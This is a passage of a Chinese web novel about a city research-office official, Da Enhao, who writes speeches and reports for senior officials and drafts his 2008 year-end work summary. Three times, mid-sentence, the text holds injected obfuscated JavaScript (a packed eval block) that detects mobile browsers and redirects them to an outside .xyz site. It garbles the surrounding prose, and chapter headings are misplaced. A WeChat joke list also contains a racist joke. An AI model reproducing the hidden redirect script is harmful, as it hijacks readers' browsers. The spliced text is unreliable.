达恩豪从陶才生副市长办公室出来，不是一个人，而是两个人，一齐往西边楼道楼梯口走去。这另外一个人，年龄比达恩豪小个十岁左右，中等个头，长得稍胖，身体结实，黑发留短分头，皮肤稍黑，脸上肉嘟嘟，把五官都挤住了，好像残留得婴儿肥一样。这人不是别人，正是也和他一同赴西疆省和本省河祁八城市调研，滨河第二党政代表团的成员，滨河市政府办公厅副处长级干部，专跟陶才生副市长服务的秘书，名叫牟少雄。 “牟处长，看你工作忙得很呢！”两个人站在楼梯口附近，抓紧时间乘周边无人看见聊天宣观两句，达恩豪笑着这样对怀里抱着一摞材料文件的牟少雄这样搭讪道。 “唉，陶市长工作扎实的很呢，刚干完了又来了，活儿一直干不完。”牟少雄有些脑满肠肥，腾出一只手举起挠摸一把头发，睁着一双闪亮的小眼睛，摇一摇肥头大耳，有点很无奈地对达恩豪这样诉苦道。 “调研回来，最近一次，还是上次写市委中心组陶市长发言材料见你的。”达恩豪站在那儿，看着牟少雄，突然话题这么一转，有些心情激动地这样回忆道。 “唉，达处长你说陶市长那怎么这样看得起你，什么材料都让你给他写呢？”牟少雄转头看一圈儿楼道里没有什么人，就靠近达恩豪一旁的耳侧，压低声音，口吻有些疑惑不解，悄悄对达恩豪这样抱怨道。 “看你忙不过来，让我来支援，因为我们不像你们办公厅，研究室也比较清闲一些嘛。”达恩豪赶紧为陶才生副市长解围打圆场，不能让他的知遇之恩为别人所忌惮，急中生智，就半开玩笑半认真地对牟少雄这样解释道。 “也是昂。不说这个了，我忙去了！”牟少雄一听达恩豪这话，点到为止，见好就收，又是肯定，又是收回前言，又是告别的，对达恩豪这样说道，完了招手转身向楼道东面走了。 “好的，牟处长再见！”达恩豪站在三楼西侧楼梯口那儿，赶紧也挥手告别，转身上楼梯回六楼，上自己单位去了。 过两天，达恩豪在单位上班，正在电脑上写一份材料，突然“嘀嘀嘀”手机接受信息的提示音这么响了几下，同时也感觉到右大脚侧面的裤兜里震动了几下，达恩豪赶紧掏出手机一看，是一条微信，打开一看这微信是谁发来的，果然又是隔壁城市发展研究处副处长，大腮帮子眼镜巴其平发来的，他从头到尾翻看了一遍，内容如下： “1.十年前，我能一掌打死你爸爸，十年后我照样能一掌打死你，去死吧，死蚊子！ 2.有只老虎感冒了，想要吃掉熊猫，熊猫哭了：‘你感冒了，干嘛要吃掉我呢？’老虎说：‘广告上都说了，感冒就要吃白加黑！’ 3.烟草害民,我便为民除害。 4.都说岁月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798033|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是把杀猪的刀，我看是把猪饲料。 5.我用一麻袋的钱上大学，换了一麻袋书；毕业了，用这些书换钱，却买不起一个麻袋。 6.史上最牛的笑话段子，是告诉太阳别再照耀了，它却笑着说：白天睡觉了，那我晚上怎么办？ 7.樟脑丸是我吃过最难吃的硬糖，那么奇怪的味道，怎么还有人会买。 8.我觉得最搞笑的事就是你旁边的人都在哈哈大笑，你却不知道他们在笑什么。 9.老板，你看黄河的水好黄啊，大哥这是长江。 10.公安有枪,保安还有棍呢。 11.大家知道为什么少林寺一直是古代武林第一大派吗？因为光头强。 12.我最讨厌两种人：一是有种族歧视的；二是黑人，三是不识数的。 13.老刘在集市上花了一百元买了一只羊。他高兴地带回家，对妻子说：‘看，我花了一百元买了一只羊！’妻子惊呼：‘你被骗了！这只羊起码值五百元！’老刘一愣，然后开心地说：‘太好了！那我不是赚了四百元？’ 14.爷视金钱如粪土，可爷我一点儿粪土都没有。 15.把你家的地点说出来，我要把它改成修养厕所。 16.老王掉进了水井里，在村民的热心帮助下，老王终于适应了水井里面的生活。 17.小刘：‘小时候我妈教我用筷子，半天学不会她就打我。别人家的孩子一天就学会了，都不挨打，反而被表扬很聪明！’ 18.社会大道不好走，这波来了内波走。 19.我昨天去算命，大师说我能活到九十九。我算了算，那还得再工作六十多年才能退休，顿时觉得人生充满了希望！ 20.有一天，一个男孩问他的父亲：‘爸爸，什么是政治？’父亲回答：‘儿子，政治就是你妈是家里的老大，咱们都是小弟。’ 21.我去买肉夹馍，让老板多放点辣，刚吃了一口就掉到了地上沾了泥，我哭了，原来这叫辣馍喜欢泥。 22.祝你以后成为亿万资产的大老板，用自己的双手让毕业证书的含金量更高！ 23.想当年，姐最瘦的时候才六斤半。 24.我同事布加迪威龙，有一天被交警开走了。 25.左手一把屠龙宝刀，让天下英雄竞折腰。右手一跌百元钞票，使遍野红艳迎风笑。 26.老人们常说，饭要吃七分饱；喝酒要喝六分醉；爱人只用八分情。而我总是吃撑，喝醉，然后爱成疯子。 27.集会，一老太太在买老鼠药，估计是在跟卖老鼠药的老头讲价，老头说，都是小本生意，咱都是自己人，你尝尝我不要钱。 28.我一个当保安的，怎么敢谈恋爱呢。我有什么资格恋爱，我配吗？我的生活只有开门和关门，我凭什么恋爱啊，凭我的门开的快吗？ 93. 第 93 章 第九十三章抓胃求婚 29.为什么恐龙灭绝了？因为他们没法买健康保险，所以就灭绝了。 30.今天早上去吃早餐，看见现在的人啊！吃个早餐还拿着手机玩游戏，聊微信……看到这里，心里莫名的感觉，这个社会变了，于是我默默的拿出我的手机，玩着贪吃蛇…… 31.猛虎下山苍龙哮，小伙子你别太傲。 32.专家说，总站着容易静脉曲张，于是我坐着。专家说坐着容易腰间盘突出，于是我躺着，专家又说躺着容易得颈椎病。 33.等我有了钱，买十三亿辆自行车中国区一人送一辆，我去坐公交车，看谁还敢挤我! 34.这个滥情的年代，拿什麽资本足够说爱。 35.当今社会，生米煮成熟饭已经没有用了，就算变成爆米花，该跑的还是会跑。 36.当年我背井离乡，从此乡里人再没能喝上一口井水！ 37.给我一口油井,我来给地球制造高潮。 38.曾经的我们看不起60分，现在想想，只是当初太年轻！ 39.岁月是把杀猪刀，知识就是把剃头刀！ 40.我刚才在超市看到一个老奶奶在偷东西，我想，坏人也变老了吗，这大概就是传说中的‘岁月不饶人，但奶奶你饶了超市’吧！ 41.鲜花插在牛粪,做鲜花做牛粪? 42.六月高考不努力，九月蓝翔做兄弟。兄弟，我在蓝翔等你…… 43.以前的朋友都成了富翁，这个称几个亿，那个称几十个亿，我只有一千万，像素。 44.谁说搞笑只能是小丑的专利？每个普通人都可以是生活中的喜剧之王。 45.四级激动地扑到六级的怀抱里……兴奋地抬起头，说：‘我终于玩死他们了……’六级揽上她的腰……温柔宠溺的说：‘这种事情我早就干够了……’ 46.以前车马邮件很慢，一生只够爱一个人，现在网络科技发达，一天能绿五十个人。 47.高考结束了，有人问我644能不能直接上清华，我说肯定不可，又问我能不能去北大，我说也不可。由于当年我去清华坐的是632路，去北大坐的是地铁。 48.我的钱不好赚，就让我在家当教授吧：电视教授、整钱教授、叫兽教授、砖家叫兽、上电视的叫兽。 49.八十年代上，老乡见老乡，下海去经商；九十年代上，老乡见老乡，骗你没商量；二千年代降，老乡见老乡，官司打的忙。 50.当年的狼娃子，吃过几个羊娃子。 51.六十年代并肩走,七十年代手拉手,八十年代把腰搂,九十年代口对口。 52.现在这个社会啊骗子太多，傻子明显不够用了。 53.太阳出来我爬煤堆、爬完了煤堆我脸却黑！ ……” “嘿嘿嘿”达恩豪刚看完了幽默段子，特别的诙谐讽趣，有些意思，开始这么蒙嘴失笑呢，自己握着的手机突然“叮叮铃-铃-铛--铛--铛--”手机铃声响了，打进来一个电话，同时手机也在不停地震动着。没有顾上给大腮帮子眼镜巴其平回个微信，就急急忙忙地接电话。 达恩豪低头细看来电显示，原来是下面三楼陶才生副市长来的打来的电话，“嗯啊好再见”一通电话接完，达恩豪又被叫到三楼陶才生副市长大办公室去了，不用想，陶才生副市长又给达恩豪安排布置了一个材料任务，下周星期一滨河市委市政府要开全市财税经济运行座谈会，抓紧二三天时间，让达恩豪给他弄个发言提纲，陶才生副市长给达恩豪说了材料，达恩豪领命回六楼办公室，丢下刚才写得材料，开始弄大领导的这个材料。 达恩豪用了一天多时间，就把材料弄出来了，交给三楼的陶才生副市长看了，顺利通过。他记得，这个发言提纲共写了3页，大约1300多字，具体内容大致如下： “在全市财税经济运行分析座谈会上的 发言提纲 今年以来，针对漂亮国次贷危机引发的全球金融市场动荡等新形势，国家为扩大内需、刺激消费出台了一系列财税金融政策。那么，滨河应如何调整发展思路，抢抓有利机遇，保持财税经济的平稳运行呢？下面，结合我中心工作实际，我重点围绕“转变发展方式，优化产业结构，积极应对国家宏观财税金融政策”，谈一些不成熟的意见和看法，请各位领导、各位专家批评指正。 滨河作为解放初期国家重点建设的工业城市，长期以来产业结构以“二三一”为主，工业在国民经济中占了很大比重。近年来，随着西部大开发和城市化进程的加快，我们大力推进经济结构的战略性调整，基本实现了产业结构向“三二一”的转变。2007年，第三产业增加值占到全市生产总值的50.6%，所占比重高于第二产业4.7个百分点，传统的、单一的重工业结构得到了初步转变，为新形势下转变经济发展方式提供了有利条件。 当前，要从滨河产业发展的实际出发，按照……关于经济发展方式“三个转变”（促进经济增长由主要依靠投资、出口拉动向依靠消费、投资、出口协调拉动转变，由主要依靠第二产业带动向依靠第一、第二、第三产业协同带动转变，由主要依靠增加物质资源消耗向主要依靠科技进步、劳动者素质提高、管理创新转变）的要求，准确把握国家宏观调控政策与滨河实际的结合点，要在处理好“三种关系”的基础上，重点做好“四个继续坚持”，以确保全市财税经济的平稳运行。 首先要处理好“五种关系”：一是要处理好城市发展与农村发展的关系。就是要在坚持抓好城市各项工作的同时，把财政支出的重点向农村倾斜，向边远山区倾斜，向农村经济社会发展急需的公共基础设施倾斜。二是要处理好经济增长与环境保护的关系。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803551|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是要高度重视生态文明建设，把节能减排和环境建设作为促进科学发展的重要手段，在节能减排攻坚战中支出更多的财力，坚持不懈地抓好大气污染、黄河水污染治理工程，努力创造良好的人居环境。三是要处理好事业经济发展与社会发展的关系。就是在发展事业经济上投入大量财力的同时，要更加注重社会建设，大力发展社会保障、科教事业、医疗卫生等各项社会事业，构建各方面有机统一、协调发展的局面。 其次，要重点做好“四个继续坚持”：一是继续坚持把服务业的发展摆在更加突出的位置来抓。服务业是现代社会的标志性产业，提供的财政收入大部分属于地方收入，是增强地方财力的有效财源。因此，要加快构建服务业强市的新型经济结构，特别是要抓住青藏铁路开通运营等机遇，大力发展面向周边城市和西北地区的现代物流业。同时，立足滨河在新亚欧大陆桥上的节点区位优势，挖掘区域内丰富的旅游资源，着力打造滨河特色旅游经济圈。二是继续坚持实施工业强市战略，着重加大园区建设和产业集群培育的力度，构建以高新技术为先导、石化产业为重点、装备制造业为支撑的新型工业体系。三是继续坚持发挥滨河的科教资源优势，加快创新型城市建设，切实强化科技对经济发展的支撑作用。四是继续坚持鼓励支持和引导非公有制经济加快发展，按照“十一五”规划要求，大力实施非公有制经济“4111”主体成长工程，力争到“十一五”末使非公有制经济增加值占全市生产总值的比重达到40%以上，培育10户年销售收入上3亿元的工业企业，100户科技成长型企业，1000户年销售收入上千万元的中小企业，以确保全市财税收入的稳步增长。 2008年11月27日” 达恩豪下午下班，回家吃饭，和老婆黄爱佳一齐看完电视，关机。进卧室上床休息，不一会儿就进入了甜蜜的梦乡之中…… 这小伙儿都二十六岁的大男人了，算是晚婚晚育的大龄青年，这美女也二十五的老姑娘了，都属于是大男大女的范畴，是模范执行计划生育国策的样板和标兵了。 “佳，我们结婚吧！”一天晚上，刚吃过晚饭，掌灯时分，一排平房中的一间屋，在一间挂有“副经理室”的办公室里，一双青年异性，在明如白昼的日光灯下坐着。这小伙儿木讷地开口了，非常笨掘，但却一片痴情，十分真诚，特别激动地向这位美女大胆地求婚了。 “小达，我们再谈谈吗！”这美女抬起细眉长眼，用含情脉脉的目光，盯着这小伙儿兴奋得有些泪花在眼眶中打转，眼睛亮闪闪的，有些撒娇似的，用温柔可爱的语调这样回答面前人道。 “佳，请你嫁给我！”这小伙儿没有领会这美女的矫揉造作，口是心非，其实是还想多谈谈恋爱，多感觉这甜蜜和幸福时光，就不管不顾，再次发起猛烈的进攻，继续执着地这样对这美女请求道，几乎是央求和下跪的口吻了。 94. 第 94 章 第九十四章总结计划 “……”这美女听这小伙儿一再地求婚，有些心软了，首先是嘴上语言上就败下阵了，闭口不言算是默认。都说婚姻是爱情的坟墓，但都渴望着婚姻。钱大作家的小说里说，婚姻是座围城，外面的人想进去，里面的人想出来！ “佳，家里做饭我全包了！”这小伙儿感觉自己没有什么能让这美女依靠的东西，就急中生智，说出了这样一句话来，说完后就连他自己都不敢相信，自己能说出这样俗不可耐的话来。这小伙儿又一想，人们不是说：要想抓住人的心，就得先抓住人的胃。或许，能歪打正着了。眼神里又是含情脉脉笑着，又像是信誓旦旦地对这美女这样保证道。 “这还差不多。”真是歪打正着了，这美女还真就上了这小伙儿的当，还是就坡下驴，反正是很高兴地这么肯定和赞同了这小伙儿的保证。细眉长眼里又是温情柔和地微笑，又是有些调侃又些幽默地这样回答道。 达恩豪一睁眼醒来，天亮了，起床收拾铺盖，上卫生间洗脸刷牙，吃点早餐就到单位上班了。 正坐着写一份材料，换换脑子，达恩豪打开手机，刷屏，有微信，点开了看，是单位工作群里发的通知，本周星期五之前上报个人今年的工作总结和明年的工作打算，没有要处室的总结打算。 达恩豪脸上立即就露出了笑容，心里在盘算着，今年一年马上就结束了，每个处室和每个人的工作成绩已成定局，这一年除了正常的工作，我比别人都搞的好外，额外还有许多工作和亮点，如随滨河市党政第二代表团考察撰写考察报告上报市委，给省市正式出版的经济蓝皮书撰稿，给市人大主任代表团团长和副团长副市长撰写市委理论学习中心组发言材料等，独一无二，工作成效特别突出，本单位按15%评两个优秀公.务员，我肯定能评上，那怕就算评一个优秀公.务员，也理应评自己才公平公正，大家都服气。毕竟工作成绩是硬杠杠，显扎扎就放在大家面前，不评给就是活人眼睛里插柴，把我活人当了死人来搞了。 停下手里的材料，这事比较重要，先写年终总结。工作做了，但也要汇报好，才是百分之百好。工作干了顶多只占百分之七十，汇报好要点百分之三十以上。这个道理达恩豪早就清楚，不是个傻子的人都明白这一点的，何况是臭嘴鲁希雷曾经评价达恩豪，是心细如发，特别认真的一个人，什么材料和工作都要干到自己认为完美才收手。 达恩豪加班加点，认真细致，客观实在，全面准确，修改完善，提前一天，就把经济发展研究处今年的工作总结和明年的打算写出来了，其实主要工作都是他自己一个人搞的，材料基本全是他一个人写得，处室的工作总结打算，简直也就是他个人的工作总结打算。这份总结打算材料，达恩豪一共写了4页，大约1800多字。他记得，具体内容大体如下： “2008年个人工作总结 经济处达恩豪 （2008年12月18日） 2008年以来，在中心领导班子的正确领导下，在各处室的大力支持和帮助配合下，本人严格履行岗位职责，认真学习，扎实工作，圆满完成了年初确定的主要工作目标和中心领导交办的各项任务，确保了本处和中心总体工作目标的实现。现将个人一年来的工作情况总结如下，主要有16项工作： 一、根据中心党支部安排，精心准备，认真参加了……报告专题辅导学习会，交流发言了题为《以……精神为指针，坚定不移走滨河特色新型工业化道路》的论文。 二、《关于请求国家立项扶持建设滨河空港循环经济产业基地的建议》，建议在详细介绍滨河空港循环经济产业基地建设的基础条件和规划布局的基础上，就目前基地建设进展情况从优惠政策、招商引资项目建设和发展前景等三个方面进行了阐述，提出了请求国家将滨河空港循环经济产业基地列入国家级试点，对产业基地在政策和项目资金上给予大力扶持的建议。 三、根据中心安排，参加省政府研究室（发展研究中心）关于开展深入学习实践科学发展观活动征求意见会议，针对52个单位征求梳理的17条意见、建议，以及制定的相应17条整改措施，结合本系统的实现，提出了恢复单位行政性质重新纳入公务员序列管理等具体的修改意见和建设。 四、从农民工工资保证金覆盖率、农民工工资最低标准、《劳动合同法》的实施及农民工劳动合同签约率等几个方面对《滨河市农民工工作联席会议2008年工作要点》提出了具体修改意见。 五、起草《大力发展循环经济，积极推进节能减排》的对策建议，建议从发展循环经济的战略重点、资源回收和再利用产业及保障措施等方面进行了详细的阐述。 六、在课题《滨河物流业发展政策体系研究》起草过程中：一是参与课题框架设计，起草了课题研究要求说明（课题提纲）。二是撰写了课题第六部分《城郊及三县物流业发展的政策要点》。三是参加本课题外出学习考察报告的修改。 七、随滨河市党政考察团赴西疆部分市州和我省河祁五市学习考察，完满完成了学习考察任务。 八、起草了《滨河市党政考察团赴西疆部分市州和我省河祁五市学习考察报告》，报告通过学习考察西疆部分市州及我省河祁五市等8城市在发展城市经济、加快经济一体化，以及城市建设和改善发展环境等方面的六条成功经验，揭示了解放思想、改革创新、加快发展的基本理念，从我市的实际和加快发展的需要出发，提出了六条意见与建议。本报告已由市委以正式文件印发和《发展研究报告》、《进取与成长》上刊发，受到市上有关部门领导的好评。 九、起草市人大主任柯贤益在市委“继续解放思想、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808439|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推动科学发展”专题研讨会上，题为《赴西疆部分市州和我省河祁五市学习考察的思考》的发言材料。 十、起草了市政府副市长陶才生在市委中心组专题学习班上，题为《继续解放思想，着力增强发展能力，全面落实加快发展、率先发展、科学发展》的发言材料。 十一、起草河陇省滨河市蓝皮书《滨河第三产业形势分析及预测》章节部分，本书已由河陇人民出版社出版。 十二、开展《滨河平安社区建设调查研究》课题的验收准备工作。 十三、为了做好课题《滨河物流业发展政策体系研究》的调研起草，负责带队学习考察小组赴外地学习考察，借鉴外地先进经验。 十四、负责研究室支部第二小组工作，加强党.员学习教育和管理，接转组织关系，搞好党.费收缴工作。 十五、负责经济处工作，搞好日常工作管理，加强“三库”建设，确保本处各项工作正常运转。组织本处共完成了搜集编纂《2007年经济社会政策选编》、《滨河现代农业政策选编》两本，共搜集各类政策文件一百多个，撰写各类材料近二十篇，约十五万字。处室工作多次受到领导表扬。 十六、认真完成了中心领导交办的其他工作。积极参加市直机关工委组织的第六届滨河市直属机关运动会和公务员年度培训、干部理论教育学习考试等。 2008年的工作虽然取得了一定的成效，共写了近十篇材料，约八万多字，完成了单位分配的各项工作任务，但还存在一些问题和不足，主要有：一是学习抓得还不够紧，系统学习、深入学习、虚实结合和内外结合学习的还不到位；二是工作还不够扎实严谨，与实际切合的还不够紧密，文字材料的撰写修改方面还需下功夫。 2009年工作重点，一是积极参加和完成有关调研活动任务。二是积极参加和完成市上领导讲话材料和各种文稿的起草工作完成。三是通过调研提出有价值的对策建议。四是开展完成关于滨河农业现代化的课题研究。五是根据单位年初确定的各项工作任务，认真完成课题研究、材料撰写、会务组织、支部第二小组、本处管理等工作。” 突然想起来了一件事，在随滨河市党政第二代表团出访考察前，达恩豪还给给陶才生副市长写过几个材料，他记得，这第一份材料是报给河陇省委常委滨河□□沈浩新的，连带附信，共写了21页，大约1.3万余字，具体内容大致如下： “浩新书记： 您好！ 根据您关于要在“战略、方法、人才、渠道”等方面发挥作用和应高度重视在滨河发展私募股权基金等直接融资工具的指示，我就滨河金融发展进行了认真学习和调研，形成了《关于滨河市金融工作的几点思考》，现报请您参阅。 不妥之处，请指正。 敬颂 春安！